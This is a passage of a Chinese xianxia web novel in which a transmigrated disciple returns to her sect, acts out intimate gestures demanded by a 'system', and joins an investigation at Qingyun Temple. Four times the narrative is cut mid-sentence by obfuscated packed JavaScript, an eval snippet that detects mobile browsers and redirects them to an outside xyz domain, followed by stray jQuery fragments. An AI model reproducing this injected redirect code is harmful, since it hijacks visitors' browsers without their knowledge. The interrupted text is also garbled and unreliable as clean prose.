“出了小秘境那件事,她们竟然还能心平气和地站在一块,要我说,亲传弟子不愧是亲传弟子。”
“你们懂什么?那是宋师妹心底善良,不跟余师姐计较,不然早就全宗皆知了。”
“可现在…全宗上下不也知道了吗?”
“嘘,你可小点声,别被她们听见了!”
宋清词:谢谢,已经听见了。
“不是说宗师叔也跟着去了?怎么没见他人?”
“快闭嘴吧!你想见到他?!”
“……不想,他太吓人了。”
“你说的是长相还是脾气?”
……
眼见议论的话题逐渐偏向他身上,宗简忍无可忍,心中的火气还是没压下去,使出了浑身力气,朝他们吼道:“一个个想死是不是?全给我滚去修炼!”
他话一出,周遭围观的弟子宛若惊弓之鸟,顷刻之间全部散尽,只剩下宋清词,余欢和宗简三个人。
宋清词悄悄仔细打量宗简的长相,联想他们议论的那句话。
一时间得不出来结论。
但她能肯定说那句话的弟子错了,这不叫吓人,明明是面相看上去凶凶的,不好惹而已!
宋清词指着回去的方向,“那……师叔,我先走了?”
宗简摆摆手,让她快点回去。
和他们分开之后,宋清词没走几步,路上碰见了急忙赶来的姜玉珩。
“你可算回来了。”姜玉珩见宋清词没事的样子,松了口气,“我刚想再去找你呢,幸好宗师叔把你带回来了。”
宋清词抓住了他话里的重点,疑惑道:“再去找我?师兄你今天不是来过一次吗?”
姜玉珩说:“我刚回来听师父他们说之前一直关押在水间月的元曜逃出来了。”
“当时根据灵网捕捉元耀的消息,它最后出现的位置在凉州,最近山下一直不太平,案件接连发生,每桩案件的作案之人的手法像极了元曜,加上灵网显示元曜的位置,所以宗门怀疑是元曜做的。”
元曜是前任魔族的首领,实力深不可测,嗜杀成性,无恶不作,喜欢挑事和打架,以折磨人族为乐趣,喜欢把抓来的人类修士剥皮抽筋,做成人皮玩偶,手段极其残忍。
数百年前挑起人妖魔三界大战的罪魁祸首,本来只是修真界与魔界的纷争,妖界明确表示不参合,结果不知道元曜使了什么手段,让妖界也跟着参进来,由此演变成人妖魔三界大战。
这场大战三界谁都没争得好处,基本处于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222884|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三败俱伤的境地,最后还是五位宗主联合请求修真界的天尊者破例,来了这里,可惜天尊者也杀不死元曜,只能将元曜关在有着“永劫地狱”之称的水间月。
凉州是天剑宗山下的那块地方,同时归青云州管辖。
一般情况下,天剑宗不会怀疑这么有指向性的凶手,但那是元曜,喜恶不定。
谁都没办法预判它的行为,就像数百年前的人妖魔三界大战一样,其实可以避免,虽然修士和魔族的关系再紧张也没紧张到那种程度。
是元曜自己要到处惹事,有的没事挑衅那个挑衅那个。
这次又是,正常情况下谁会刚出来不好好养伤,跑来闹出这么大动静的?
如果是元曜,那一切都正常了。
原书里对元曜的描写少之又少,总体上就这么多,宋清词瞅着看元曜怎么都算个大boss吧,还以为后面会大战三百回合。
结果事实证明她低估了主角光环,书里对原主和元曜的事情一笔带过,只有一句,“宋清词打败了元曜。”
希望她的运气好点吧。
“算了,不聊这个了,你回来就好,先去见师父他们吧。”姜玉珩说。
他带着宋清词穿过整个天剑宗。
一路走去,有弟子在空中御剑飞行,有白鹤在头顶飞来飞去,有弟子成群结队地练剑,有炼丹炉爆炸的声音,有快比天高的大树,有意见不合差点要打起来的弟子。
宋清词第一次对仙侠世界有了体会。
这里不再是她口中虚无缥缈的纸片世界,而成了她要生活的现实世界。
天剑宗很大,这段路她走了很久很久。
姜玉珩带她去的地方是其中最大的主殿,平时用来开会讨论时地方。
主殿站着两个人。
一个是天剑宗的宗主,宋清词的师父,鱼双。
另外一个是宋清词的三师兄,谢鹤之。
宋清词先开口喊他们:“师父,三师兄。”
鱼双走下殿内的楼梯,来迎接宋清词,问道:“你还知道回来?”
这句话是质问,却听不出一丝责备,语气里满是溺爱。
宋清词眨了眨眼,温声哄道:“我这不是回来了嘛?还不是因为太想见您啦!”
“哼,你倒是会说,”鱼双瞥了眼宋清词后面的姜玉珩,“要我说要你这个大师兄有什么用?连喊师妹回来的小事都做不到。”
姜玉珩:这也能躺枪?
宋清词是鱼双最后收的弟子,本来当初他收下谢鹤之后,就准备不再收弟子了,拿他当作关门弟子。
没曾想后面遇到了宋清词,他第一眼见到宋清词,就有种他们是命中注定的师徒的感应。
鱼双忙着处理要事情,留下了姜玉珩帮忙,让谢鹤之带着宋清词回去。
宋清词腿酸了,走那么久才到主殿,连坐都没坐一下,又要离开。
“三师兄刚回来不久吗?”宋清词看着他神态疲惫,衣袍皱巴巴的。
谢鹤之“嗯”了一声,没再说话。
5. 两次限制文
这一路两个人沉默无言,只能听见路边弟子的吵闹声,到了花缘院,谢鹤之站在院外,“那你今日好好休息,我便不打扰你了。”
宋清词张了张嘴,正要说好时。
熟悉的机器声再次响起。
【你突然上前抱住谢鹤之,埋在他的怀里,撒娇道:“师兄,我离开的这些天,你难道没有半分想我?”】
阵风吹来,桃花树窸窣作响,花枝轻晃,掉下的花瓣随风摇曳,最终缓缓地落到站在树影下的少年发间上。
宋清词面不改色,仰头望着谢鹤之的脸,温言道:“师兄,你能蹲下来吗?”
谢鹤之虽不理解宋清词的意思,但仍按照她说的照做。
他半蹲着身子,漆黑的眸子看着宋清词,似是想透过眼睛来看透她的内心。
宋清词走上前,二人的距离顷刻间被拉近,连眼眸里彼此的倒影都能看得一清二楚,她的动作很轻很轻。
蹲下的谢鹤之头顶落下一片阴影,独属于少女的清香飘来,像春日融雪沁润的梅花,他垂着眸子,静静等着面前少女动作的结束。
“师兄可以不用蹲啦!”
少女的嗓音软软的,一双洁白如玉的手捧着一瓣妖艳的桃花闯入谢鹤之的视线,他起身仅扫了一眼少女捧着的那瓣桃花,目光停留在宋清词的身上。
宋清凑在谢鹤之的跟前,想把手里的桃花让他看得更仔细些,却没注意地上的小石头,直接扑倒在谢鹤之的怀里,他下意识抱住宋清词来保护她。
她仰着小脸,眼巴巴看着他,眼神带着愧疚,一副愁眉苦脸的样子,声音越说越小:“对不起,我不是故意的,只是太久没见师兄了,一时激动过了头。”
“无碍。”谢鹤之淡淡道:“先起来吧。”
宋清词从谢鹤之身上爬了起来,她乖乖站在哪里,捧着桃花的双手往背后放,一声不吭,像做错事的孩子。
谢鹤之看着她的样子,觉得甚是好笑,“我知道你不是故意的,没必要觉得愧疚。”
“可……”宋清词咬紧嘴唇,紧张地上下打量谢鹤之,确认他真的没有生气后松了一口气,“没生气就好,师兄刚刚的表情差点要吓死我啦!”
抛开系统和徐绪笙的事情,她一股脑地将自己在山下的经历说给谢鹤之听,抱怨道:“在山下的那段时间,大师兄和二师姐她们都会来看我,可三师兄你一次都没来过。”
“所以我就在想三师兄是不是因此对我心生厌烦了。”
姜玉珩和谢鹤之的性格截然不同,可以算得上两个极端,如果说姜玉珩是温润的白玉,温柔又坚硬,对谁都关心,那么谢鹤之便是孤傲在雪山之巅,可望不可及的雪莲。
自从修为达到金丹期,他就不怎么待在天剑宗,常年在外历练,除了宗门需要,其它时候很少回来。
平心而论,谢鹤之和原主这个师妹的的关系一般,说不上好,毕竟原主加入天剑宗的时间不久,他又常年在外历练,二人见面的次数比较少。
当初原主来到山下的小木屋修养,谢鹤之那个时候还没回宗,在外历练,对宗门内发生的事一无所知,还是后面和鱼双传讯的时候才知道的。
宋清词说完这句话,眼神犹如小鹿般,眸子一眨不眨地盯着谢鹤之,摆明了在期待着谢鹤之的回复。
“我当时在外历练,不知晓宗门发生的那些事。”谢鹤之拍了身上的灰尘,余光瞥见宋清词攥着衣角的那双手在听了他的话后更用力了。
他和宋清词的相处时间不长,可到底是自家的师妹,多少对她了解一二,听过那坎坷凄惨的身世,自幼生活在乞丐窝里,好不容易被师父捡回来,这还没几年好日子又被人欺负。
说她胆子大吧,和别人起冲突又不敢欺负回去。说她胆子小吧,敢一个人下山。
偏偏此时凉州发生的案件不断。
看来他这小师妹运气属实太差了些。
谢鹤之眸色沉了下来,轻叹了一口气,“不用想想太多,好好休息。”
宋清词扯了扯谢鹤之的衣袖,低着头不敢去看他,闷闷道:“那师兄你有没有想我?”
谢鹤之不想回答她的话,她偏生不让他揭过。
“好好休息。”谢鹤之不动声色地挪开扯着自己衣袖的手,留下这句话,消失在花缘院。
宋清词对他的举动波澜不惊,反正完成了任务,随便谢鹤之怎么样,她慢悠悠地回到院内,顺便熟悉一下这间院子。
一直在她身后的那道黑影同时跟着走了进去。
影子一路鬼鬼祟祟地尾随宋清词,跟在她的背后,等她彻底走进了屋内,影子才现身。
“宋清词!你不会喜欢上了谢鹤之吧?”影子气冲冲指着宋清词,仿佛撞见妻子和其他人外遇的丈夫,语气激动,“不许喜欢他,听到了没有!”
宋清词一开始就注意到了黑影的存在,不过她懒得点出来,想看看她到底要搞什么把戏。
她懒洋洋地依靠在榻上,看见黑影的脸稍微诧异了一下,很快恢复如常,淡淡道:“余师姐,你何时这么关心我了?”
余欢并没有因宋清词的话冷静下来,反而气愤无比,对着她怒骂道:“死皮赖脸,谁关心你了?我告诉你,早点死了这条心,谢鹤之是不可能会喜欢你的。”
宋清词倒没生气,弯眼笑道:“我喜不喜欢三师兄跟你有关系吗?”
她像发现了一个惊天大秘密,捂嘴惊讶道:“莫非余师姐你喜欢三师兄?难怪了,这样看来之前在小秘境里针对我的事也有迹可循。”
“我喜欢谢鹤之?传出去简直要令人笑掉大牙,谁会喜欢他那个木头?”余欢犹如被踩中尾巴的猫,“该说的我已经说了,你好自为之,若喜欢上了他,最终吃苦的只会是你自己。”
她瞪着宋清词,恶狠狠道:“最后再说一遍,我不喜欢谢鹤之,听到了没有!”
余欢转身正要从门边离开,却看见了一直待在门外的姜玉珩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222885|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二人面面相觑。
空气凝滞了片刻。
余欢质问道:“刚刚你听到了多少?”
姜玉珩面露难色,纠结道:“从你不会喜欢上谢鹤之吧那句开始。”
“那不是全部都见了?!”余欢气得肩膀发抖,直直撞了一下姜玉珩,结果他纹丝不动,自己的肩膀反而撞的生疼,更生气了,摔门冲了出去。
宋清词没忍住直接扑哧一声笑了出来。
不过马上她就笑不出来了。
【你掰正姜玉珩的脸,牵起他的手,将它放在自己的腰间,不满道:“别看她,看我。”】
宋清词神色凝重,亵渎大师兄的事,她做不到。
姜玉珩双手聚拢在袖子里,见宋清词的表情不太好,以为她被余欢说的话打击到了,安慰道:“万事皆有可能,说不定你努努力就成了呢?实在软的不行,咱就来硬的。”
“现在那个不重要,”宋清词有些难以启齿,表情十分复杂道:“大师兄你离我近一点,我有话要说。”
姜玉珩听了宋清词的话,往前走了几步,停在她面前。
宋清词姿态闲散,理了下宽松的领口,不急不慢地对姜玉珩说:“不够,再往前。”
他又走得近些。
宋清词从塌上起来,扬起下巴道:“大师兄你低头。”
姜玉珩照做,低垂着头和宋清词对视。
宋清词轻轻覆在他的两侧脸颊上,使得他将注意力集中,又牵起姜玉珩的双手,如那道机器音说的那般,搁在自己的腰间,轻声呢喃:“不许看她,看我。”
姜玉珩被宋清词这套动作弄懵了,没等他反应过来,刚刚还拉着他的那个人重新躺在了塌上,慵懒地翻着画本,仿佛发生的一切都是他的错觉。
“刚刚那是……”姜玉珩终是沉不住气,试探道:“为什么?”
宋清词翻画本子的手一顿,掀起眼皮,笑容甜美,“余师姐还在门外没走,不能让她到处传播我喜欢三师兄的事情,若被三师兄知晓此事,那我肯定没机会了。”
她放下画本,作了拜托的手势,恳求道:“大师兄就帮帮我这次吧,绝对不会再有下次了。”
姜玉珩将信将疑道:“既然你这样说了,那就这一次。”
接着,姜玉珩回归正题,先问了宋清词身体恢复的情况,尽管宋清词之前在小木屋已经说过一次,但她依旧耐心再次说明自己没事。
她再三保证恢复得差不多了,姜玉珩便直接说出了这次来的目的:“最近凉州不太平,我也跟你说过。”
“由于那边案件频发,宗门那边把能派去的弟子都派去了,但一时没办法解决这件事,所以那些弟子基本上处于只去不回的状态。”
宋清词不由挺直了身子,目光投向姜玉珩腰间挂着的玉佩上,手指一下下敲着桌子上的画本,疑惑问道:“那师兄的意思是想叫我跟着他们一起去?”
姜玉珩却摇摇头,“并非如此。”
6. 青云寺(一)
“其实是宗门那边想向你借回遡镜,利用回溯镜来加快破案的速度,至于你,”姜玉珩手指轻点宋清词的额头,“还是安心待在宗门休息吧。”
回遡镜是原主一次历练中偶然获得的,在回溯镜里会放映被它照着的物品一个时辰前的画面。
不过它只能用在死物身上,不能用在活物中,就算如此,它的用处也颇为逆天。
避免节外生枝,除了天剑宗内的少部分高层人物之外,基上没有人知晓此事。
宋清词敲着画本的手一顿,抬头看向姜玉珩,“这是师尊的意思?”
姜玉珩没有否定,似乎对宋清词的猜测毫不意外,“可以这么说,是也不是,如若师妹不想借,那不借也是可以的,此事由你来决定。”
“并非我不想借。”宋清词耷拉着脑袋,老实道:“而是借不了,早在获得回溯镜的那刻,它就和我成了绑定的关系,除了我,谁都没办法用它,旁人若强行使用,非但不会回溯,反而会遭到反噬。”
“轻则神识受损,重则走火入魔。”
“哪怕我是它的主人,现在也无法完全掌握它,有时候使用还会遭到反噬。”
宋清词最后的一句话语调很轻,却在姜玉珩的心里留下了重重一击。
他眉毛紧紧皱起,略微打量了宋清词。
宋清词被姜玉珩这小心翼翼的举动弄得哭笑不得,“倒没必要这样。”
说着她站起来转了一圈,大大方方展示给姜玉珩看,“师兄你看,我早就好啦。”
姜玉珩看着眼前阳光明媚的少女,无奈道:“好了,你老老实实坐着吧,还有一堆事等我回去处理呢。”
宋清词转了转眼珠,试探问道:“那回溯镜呢?不借了吗?”
“不借了,”姜玉珩没好气道:“哪能做会让你受伤的事?这件事师尊会想办法的,再说还没到只有借助回溯镜才能处理的程度,只能有了它,处理的速度说不定会更快。”
宋清词若有所思,拉住姜玉珩转身时挨到她的那片衣角,“诶,师兄你先别放弃呀,再让我试试,使用回溯镜只是偶尔会遭到反噬,并不是每次都会,说不定这次就不会呢?”
见姜玉珩略带狐疑的目光看着她,宋清词一本正经地胡说八道:“你想啊,掌握不了的事情就得多练,俗话说得好,熟能生巧,我作为天剑宗宗主的亲传弟子怎可因为害怕而退缩,这要是传出去被别人听见了,可是要笑掉大牙的!”
才怪。
刚回到天剑宗就能连续激发两个莫名其妙的情节,那要是在天剑宗待的时间更长呢?岂不是走两步蹦出个po文情节。
一想到原书中天剑宗里那些待发展关系的师兄弟们,她就不由打了个寒颤,太吓人了。
原书没有对凉州的这段剧情有过多的描写,仅用寥寥几笔带过,那么证明至少在凉州是安全的。
宋清词看姜玉珩定立在原地,久久不说话,便垂着眼皮,仿佛泄了气的皮球,可怜兮兮道:“我知道了,师兄是不是觉得我没用,在小秘境也能受那么重的伤?”
姜玉珩本来在思考,却被宋清词打断,回过神来听到她说这句话,立马安慰道:“你莫要想太多了,让你去便是。”
得到姜玉珩的答复,宋清词眼眸一亮,不敢置信道:“真的?”
姜玉珩:“真的。”
“好了,你且好生休养,待三日后跟随下一批前往山下的弟子一同去。”
宋清词目送姜玉珩离去。
心中暗自盘算着去往山下的打算。
“噗通——”
突然有一道黄色的身影撞在了她的床边,碰撞发出的清脆响亮。
那道拉不拉几又肥的影子猛地扑进了宋清词的怀里,鬼哭狼嚎道:“宿主!历尽千幸万苦,我终于找到你。”
宋清词抵着黄肥鸟的额头,对它的卖惨视若无睹,拉开一定的距离,瞧着它浑身脏兮兮的,嫌弃道:“你又躲哪儿偷听呢?”
黄肥鸟圆溜溜的眼睛闪过一丝心虚,随即反驳道:“冤枉,我从来都不做偷听的事,一切都是为了完成任务。”
宋清词懒得理它,干脆利落地把它扔出屋内,在空中形成了一道完美的黄色抛物线。
接下几天,宋清词整日闭门不出,一直在待在花缘院,院子外冷冷清清的,除去刚回来时过来的姜玉珩,无一人再来探望。
毕竟此宗门上下正忙着准备此次去凉州的事情,为了早日解决它,相较之前,做了充足的准备。
宋清词坐在美人榻上,望着纸鹤从窗外晃悠悠地飞来,停留在她的手边。
她不急不慢地拆开了纸鹤,纸鹤变成了一张带着墨水皱巴巴的白纸。
——距离下山剩下半个时辰,师妹可提前往主殿等候。
白纸上寥寥几行的小楷字迹工整,字形优雅沉稳,不用猜都知道是谁写的。
宋清词收起白纸,起身前往主殿。
这次有仙鹤停留在花缘院外载她,不用像上次一样靠着双脚一步步走到主殿。
天剑宗,主殿。
鱼双站在最上方的台上,双手负在身后,扫了一眼底下排成两行的弟子们,沉声道:“此次凉州之行,由谢鹤之带队,到了青山寺后,如发现任何不对劲,第一时间向他说明。”
“山下危机四伏,宗门也无法完全保证你们的安全,切记勿行事鲁莽,遇到危险时,首先要确保自身的安全。”
……
谢鹤之?
鱼双不说她还没发现谢鹤之也来了。
宋清词掀起眼皮,向谢鹤之的方向注视了片刻,青年身姿挺拔,双手抱着剑立在地上,看似专心致志的听着鱼双讲课。实际已经游神有一会儿了。
似察觉到她的目光,那头的谢鹤之微微扭头朝宋清词看了过来。
宋清词无辜地眨了眨眼睛,若无其事地收回目光,仿佛一个没事人一样,盯着地面发呆,思绪到处飘散,她特意找了角落的位置,为的就是开小差不被鱼双发现。
鱼双一直叨叨不绝地讲个没完,宋清词听到后面完全不知道他在讲什么,等到他彻底念叨完了,才终于惊觉姜玉珩为什么会让她提前半个时辰来了。
原来算准了在这里儿。
刚好半个时辰。
天剑宗有专门的传送阵,可以传送到山下,省了下山的工夫。
凉州多地频发事故,它这块地方说大不大,说小不小,每次事故都发生在相隔相远的地方,倘若集中在几个凑得近的地方,也不至于派那么多弟子前往。
这才是最叫人头疼的。
这也是天剑宗会怀疑元曜做的原因之一,它天生拥有千影术,能分出无数道影子,换作别人除非多人合伙作案,否则绝对做不到在多地制造案件,但如果说元曜,那么一切就解释得通了。
宋清词一路跟在队伍的末尾,向着云河郡的传送阵走去。
云河郡的传送阵离他们这边最近,大约走了不到一个时辰就到了,它的传送阵和青云寺相连,可以直达。
宋清词有些疑惑。
天剑宗明明有飞舟,他们又不缺灵石,为什么要靠传送阵走过去?
她心里这么想着,同时做出了行动,跑去问谢鹤之,“三师兄,为什么能用飞舟,宗门却不用飞舟过去?这样不是能省时省力吗?”
许是宋清词的话打破了在场所有人僵着不说话的局面,他们齐齐看向谢鹤之。
谢鹤之顶着众人的视线,解释道:“青云寺下了禁制,飞舟没办法飞过去的,只能坐传送阵过去。”
“那如果有人开飞舟飞了过去呢?”宋清词问。
谢鹤之非常笃定道:“不可能,飞舟飞不……”
话未说完,就见天空闪过一道浅色的斑纹,犹如闪电般飞驰而去,紧接着“砰砰砰———”
笼罩着青云寺的结界隐隐显现,像极了透明的罩子,飞舟和结界相碰撞,被摔得稀巴烂,宛若下了一场零件
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222886|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雨,零件落的到处皆是。
幸好有亭子得以遮挡。
在场的人全部沉默了。
看着谢鹤之装作面无表情的脸,宋清词眼底划过浅浅的笑意,捂嘴惊讶道:“原来是这样,三师兄的确说得没错啦。”
谢鹤之向上提了剑,假装看不出宋清词的打趣,跟个没事人似的“嗯”了一声。
顺着她的话,借着这场事故,自然而然地给在场的人警示道:“你们都看到了,这就是开飞舟来青云寺的结果。”
有句话叫做,只要我不尴尬,尴尬的就是别人。
宋清词点点头,配合着谢鹤之。
这场意外发生的事故彻底打开了在场弟子的话匣子,纷纷跟周边的人议论起来。
加上宋清词和谢鹤之,这次一共派了八名弟子。
宋清词估摸他们能忍住不说话,应当是多久了谢鹤之那张一路走来冷着的脸。
这么一想,的确会害怕。
青云寺名称上是寺,却比寻常的寺庙大了五六倍,结界覆盖的范围及广。
他们坐传送阵到了青云寺的三千阶梯之下的一个小亭子。
周遭长了成片成片的竹林,竹子的生长速度极快,几乎要拦住出去的路口。
只见谢鹤之手里抱着剑鞘往上露了一小截,顷刻之间,光影闪烁,纵横交错在路口之间的竹子被斩得一干二净。
看得宋清词叹为观止,内心默默给谢鹤之点了个赞。
无形的装逼最为致命。
如果她能这样就好了。
宋清词和身边扎着麻花辫的少女不约而同地停下了脚步,她望着面前高耸入云的三千阶梯,升起一丝敬畏之心。
麻花辫少女先开口道:“你就是那个传闻中的宋师姐吗?”
话音落下,她才意识到自己说错话了,惊恐地看向宋清词。
宋清词歪头轻笑,指着自己,想了想道:“得看你说的是那个传闻了,如果是不久前发生的那个,那的确是我。”
麻花辫少女快被吓得哭出来了,求饶道:“对不起,对不起,我不是故意的。”
“我看着像会吃人?”宋清词问道。
麻花辫少女立即回道:“没有没有!”
宋清词面露不解道:“那你为什么那么怕我?”
麻花辫少女不知所措,回答不出宋清词的问题。
索性宋清词没揪着不放,转向另一个话题道:“你叫什么名字?”
麻花辫少女说:“赵燕茹。”
“赵燕茹,”宋清词口中轻声念了几遍这个名字,笑眼如弯月,赞美道:“好名字。”
她们边走边聊着无关紧要的话题,赵燕茹发现宋清词似乎真的没计较刚刚的失误后,逐渐放松下来。
宋清词和赵燕茹走得算队伍里算慢的了,其他人都在前面,剩下了她们两个在下面慢慢走。
谢鹤之倒没催她们赶紧上来,青云寺和其他事故发生的地方不一样,这个地方实在过于特殊,寺内和寺外完全是两幅样子。
方才在小亭子的时候,他特地用神识扫了四周,再三确认没什么异常后才放他们出去的。
可他总觉得哪里不对劲。
谢鹤之思索间,瞥见宋清词扶住了被青苔滑倒的赵燕茹,赵燕茹神色自责,看着嘴型应当在说“对不起”三个字。
宋清词摆摆手,连忙表示不用,嘴角挂着的笑始终未放下。
他这个师妹倒对别人极为好心。
宋清词没有让其他的人等太久,不一会儿就上来了。
人到齐后,谢鹤之推开了青云寺的大门。
映入眼帘的先是一片狼藉,摆在角落的盆栽瓶子碎了大半,香炉还插着小半截的香,装着里面的灰却散落一地,钟锥碎成七八块。
尖叫声和哭泣声夹杂着回荡在空中,大殿紧闭着,门上赤裸裸印着鲜红的手印,密密麻麻,到处都是,几乎占据了整个大殿的门,墙壁贴满了符。
7. 青云寺(二)
进来的一群人当即愣在原地。
画面实在过于诡异。
谢鹤之面色如常,视线随着不断传出啜泣女声的大殿处飘去,举手示意众人按兵不动,他自己则走到了大殿门口,步伐沉重。
宋清词第一个反应过来,跟在谢鹤之身后,紧盯着他的举动,以防发生意外。
谢鹤之在大殿门口,眼神上下观察了一番,随即推门而入。
“嘎吱———”
门被推开。
一群衣衫褴褛的人蜷缩在角落,男女老少皆有,妇人紧紧抱着沉睡的婴儿,孩童往她们父母怀里钻去。
在谢鹤之迈入大殿的那瞬间,本就惊魂未定的他们大惊失色,慌张不已。
“啊啊啊啊啊!”
“你们到底是谁?又来做什么?!”
“为什么?为什么!为什么还不肯放过我们!”
“求求你们,只要肯给我们一条生路,我们什么都会做。”
抱着孩童哀嚎的,跪下求饶的,质问的,什么都有,整个场面彻底乱成一团。
唯独躲在斜对面柱子的女孩置若罔闻,纹丝不动,依旧抱着双腿坐在原地。
女孩的眼神空洞,看着谢鹤之朝她逼近,仍不为所动,没有恐惧,没有慌张,犹如看待一件死物那般平静。
“你不害怕?”
谢鹤之居高临下地俯视着女孩,眉头轻佻,听着像关心,却半分没有关心的语气。
女孩不答反问:“害怕有用吗?”
谢鹤之淡漠道:“自然没用。”
“那你问出来不觉得好笑?”女孩垂着双眸,音色像微微的清风,无波无澜。
二人谈话的气氛在空中僵持不下,赵燕茹站出来打圆场,蹲下身和女童平视,拍了拍她的肩膀,安抚道:“他说这话并非有意,现在没事了,小妹妹,我们是专门来帮你们的。”
说着她悄悄向身后的弟子传了眼神,其他人齐齐这才从梦中惊醒,附和道:“她说的没错,我们是天剑宗的弟子,师门专门派我们下山来这里帮你们。”
在场的人只有谢鹤之和宋清词没有附和。
谢鹤之静静站立,听着他们的话,没有反驳,目光一直放在女童的身上。
宋清词从未遇到过这种场面,缺乏经验,虽没有跟他们那样出声附和,不过点头用行动表示他们说的话是对的。
她进来就注意到了这个小女孩,明明看着只有七八岁的女童,却毫无半分经历生死过后该有的情绪。
不像人,更像已经破碎的陶瓷娃娃。
和外面乱成一地的景象相比,大殿内只能说好那么一点,至少血没有流遍满地,但打斗的痕迹依旧存在。
看样子事情主要在外面发生的。
天剑宗来的人分开行动,一部分来安抚在场其他人的情绪,现在这种情况问也问不出他们想要的答案。
另外一部分人则负责找留下的枯生花,根据往常凉州其它地方的案发现场,总能发现作案人留下的枯生花。
枯生花喜寒,生长在极阴之地,常见于北州的雪山上,并非凉州此地能生长出来的灵植。
它的保存条件严苛,一旦被摘下来,只要离了出生之地,不出两个时辰必会枯萎。
凉州与北州相隔甚远。
就算坐传送阵都得耗费两三个月。
寻常人别说带上来,就连见一面都极难。
“找到了!”
隔壁屋的张奕惊呼出声,小心翼翼地呵护着枯生花,生怕会在送过去的时候弄损了它。
宋清词离张奕比较近,见他这样如临大敌的样子,于是向他提议:“师兄,要不然让我来拿吧?”
她来拿?
枯生花极为脆弱,尤其是现在将要枯萎的状态,稍不注意就会化为残渣。
它可是现在重要的证据。
张奕对宋清词的印象停留在她和余欢的那件事情,再就是她和谢鹤之貌似是亲的师兄妹关系。
张奕脑海里自动浮现了谢鹤之那张冷冰冰的脸,不由打了个哆嗦。
思考过后,他果断将烫手的山芋丢给了宋清词,嘱咐道:“那好,你一定要拿好……”
“你们在说什么呢?”谢鹤之似笑非笑地看着面前商量着谁拿枯生花的二人。
宋清词如实道:“我们在商量谁拿枯生花。”
谢鹤之拿出准备好的冰玉盒,嘲讽道道:“笨死你们算了,不会叫我拿冰玉盒过来?”
宋清词和张奕:………
两个人全然忘记了。
冰玉盒用极寒之地的千年冰玉打造而成,专门用来储放枯生花之类的灵植。
张奕第一次碰上枯生花,没有这方面的经验,因为过于害怕弄碎它,紧张到忘记了还有冰玉盒的存在。
而宋清词是在鱼双开会的时候开小差,根本不记得枯生花需要用冰玉盒。
宋清词不慌不忙地为自己辩解:“我们这不是想着不麻烦三师兄嘛。”
张奕将枯生花轻手轻脚地装进了玉盒,在冰玉盒紧闭的那刻,悬着的心才落下。
闻言不自觉去看谢鹤之脸上的表情。
谢鹤之收起了冰玉盒,眯着双眼,反瞥了张奕一眼,“看我做甚,是觉得现在不忙?”
张奕心道不妙,立刻回道:“不是不是,那我先去那边看看。”
扔下这句话跑得不见踪影。
宋清词问道:“要用回溯镜吗?”
她的声音很小,小到只有他们两个人能听见。
“不着急,再等一会儿。”谢鹤之漫不经心地握着剑柄道:“你去看着那个女童。”
“成。”
宋清词心里有数,没问谢鹤之原因,径自走向了女童身边,找个旁边的位置坐下。
比起刚才,女孩这会才有一丝生气,瑟缩着身子,脸埋进圈着的双腿里,闷声道:“你们真的是天剑宗派来救我们的吗?”
一旁的赵燕茹一遍遍耐心地答道:“真的,现在不会有人伤害你了。”
“你可以把刚刚发生的所有事情都和我们说。”
“和你们说?”
女孩陷入了回忆,久久没说出后续,倏忽尖叫一声,猛地拉回了现实,身体一步步往后缩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222887|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,泪水不停涌出,滴在衣服上,控制不住音量大吼大叫:“不是我!不是我!你们为什么就喜欢逼着我不放?!”
她这一声差点把赵燕茹吓到了,在场的其他经历过这件事情的人沉默不语。
反倒不明所以的部分天剑宗弟子紧张兮兮地看向他们这边。
宋清词和赵燕茹对视一眼,又趁着女孩不注意,朝着他们摇摇脑袋,示意他们各做各的。
这下赵燕茹不敢再说话了。
她怕自己再开口刺激到女孩。
宋清词轻抚着女孩抖动不止的双手,顺着她意思往下,轻声道:“没关系,这不是你的错,是造成这件事情的罪魁祸首的错。”
